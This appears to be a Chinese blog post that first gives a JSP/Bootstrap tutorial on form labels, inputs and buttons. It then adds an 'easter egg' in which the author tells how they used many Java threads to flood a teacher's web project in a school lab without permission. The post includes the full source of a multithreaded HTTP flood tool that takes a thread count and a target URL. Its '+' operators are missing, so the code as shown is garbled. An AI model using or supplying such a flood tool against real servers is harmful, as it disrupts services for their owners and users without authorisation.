label、input、button的用法(结尾有彩蛋)

2018-09-19 15:24:59 浏览数 (1)

 先引入bootstrap,为了防止每个网页都引入,单独把引入bootstrap写成一个网页,然后在其他网页中用jsp:include动态包含

代码语言:javascript复制
<!-- res.jsp -->
<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
<%
String path = request.getContextPath();
String basePath = request.getScheme() "://" request.getServerName() ":" request.getServerPort() path "/";
%>
<link rel = "stylesheet" type = "text/css" 
      href = "ReSources/bootstrap/css/bootstrap.min.css">

 然后写input.jsp页面,注意第19行动态包含了res.jsp页面

代码语言:javascript复制
<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
<%
String path = request.getContextPath();
String basePath = request.getScheme() "://" request.getServerName() ":" request.getServerPort() path "/";
%>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
  <head>
    <base href="<%=basePath%>">
    
    <title>My JSP 'input.jsp' starting page</title>
    
    <meta http-equiv="pragma" content="no-cache">
    <meta http-equiv="cache-control" content="no-cache">
    <meta http-equiv="expires" content="0">    
    <meta http-equiv="keywords" content="keyword1,keyword2,keyword3">
    <meta http-equiv="description" content="This is my page">
    <jsp:include page = "../res.jsp"/>
  </head>
  
  <body class = "container">
    <div>
        <h3 class = "page-header">request.getPramater()的用法</h3>
        <form action = "" class = "form-horizontal">
            <div class = "form-group">
                <label class = "col-md-3 control-label">学号:</label>
                <div class = "col-md-5">
                    <input type = "text" class = "form-control" placeholder="123456">
                </div>
            </div>
            <div class = "form-group">
                <label class = "col-md-3 control-label">姓名:</label>
                <div class = "col-md-5">
                    <input type = "text" class = "form-control" placeholder="张三">
                </div>
            </div>
            <div class = "form-group">
                <div class = "col-md-offset-3 col-md-5">
                    <button type = "submit" class = "btn btn-primary">提交</button>
                </div>
            </div>
        </form>
    </div>
  </body>
</html>
彩蛋

 其实上面的内容都不重要,老师在机房给我们上课的时候,我试了一下访问老师的jsp项目,居然成功了,我突然想到一个点子,利用java起很多线程去访问老师的web项目模拟DDOS,结果不出意料的成功了,先附上代码,下面讲解一下这个代码

代码语言:javascript复制
import java.io.*;
import java.net.*;
import java.util.Scanner;

public class DDOS implements Runnable {
    private static String strUrl = null;
    private static long numL = 0L;
    private static Scanner scanner = new Scanner(System.in);

    public void run() {
        HttpURLConnection connection = null;
        InputStream urlStream = null;
        URL url = null;
        while (true)
            try {
                url = new URL(strUrl   numL);
                connection = (HttpURLConnection) url.openConnection();
                connection.connect();
                urlStream = connection.getInputStream();
                if (urlStream != null) {
                    numL  = 1L;
                    urlStream.close();
                    System.out.print("t"   numL);
                    if (numL % 30L == 0L)
                        System.out.println();
                }
                Thread.sleep(10L);
            } catch (InterruptedException e) {
                while (true) {
                    e.getMessage();
                    try {
                        Thread.sleep(1000L);
                    } catch (InterruptedException ie) {
                        ie.printStackTrace();
                    }
                }
            } catch (MalformedURLException e) {
                e.printStackTrace();
            } catch (IOException e) {
                e.printStackTrace();
            }
    }

    public static void main(String[] args) throws MalformedURLException {
        System.out.println("");
        int threadNum;
        while (true) {
            System.out.println("线程数:");
            threadNum = scanner.nextInt();
            System.out.println("网址:");
            String str = scanner.next();
            strUrl = str;
            if (str.indexOf("?") >= 0)
                strUrl  = "&num=";
            else
                strUrl  = "?num=";
            System.out.println("--------------------------------------");
            System.out.println("线程数:"   threadNum);
            System.out.println("地址:"   str);
            System.out.println("请再次确认(Y/N):");
            String tmp = scanner.next();
            if ("Y".equalsIgnoreCase(tmp))
                break;
            if ("N".equalsIgnoreCase(tmp))
                continue;
            System.out.println("输入错误,请重新输入(Y/N):");
        }
        for (int i = 0; i < threadNum;   i) {
            DDOS at = new DDOS();
            Thread t = new Thread(at);
            t.start();
        }
    }
}

0 人点赞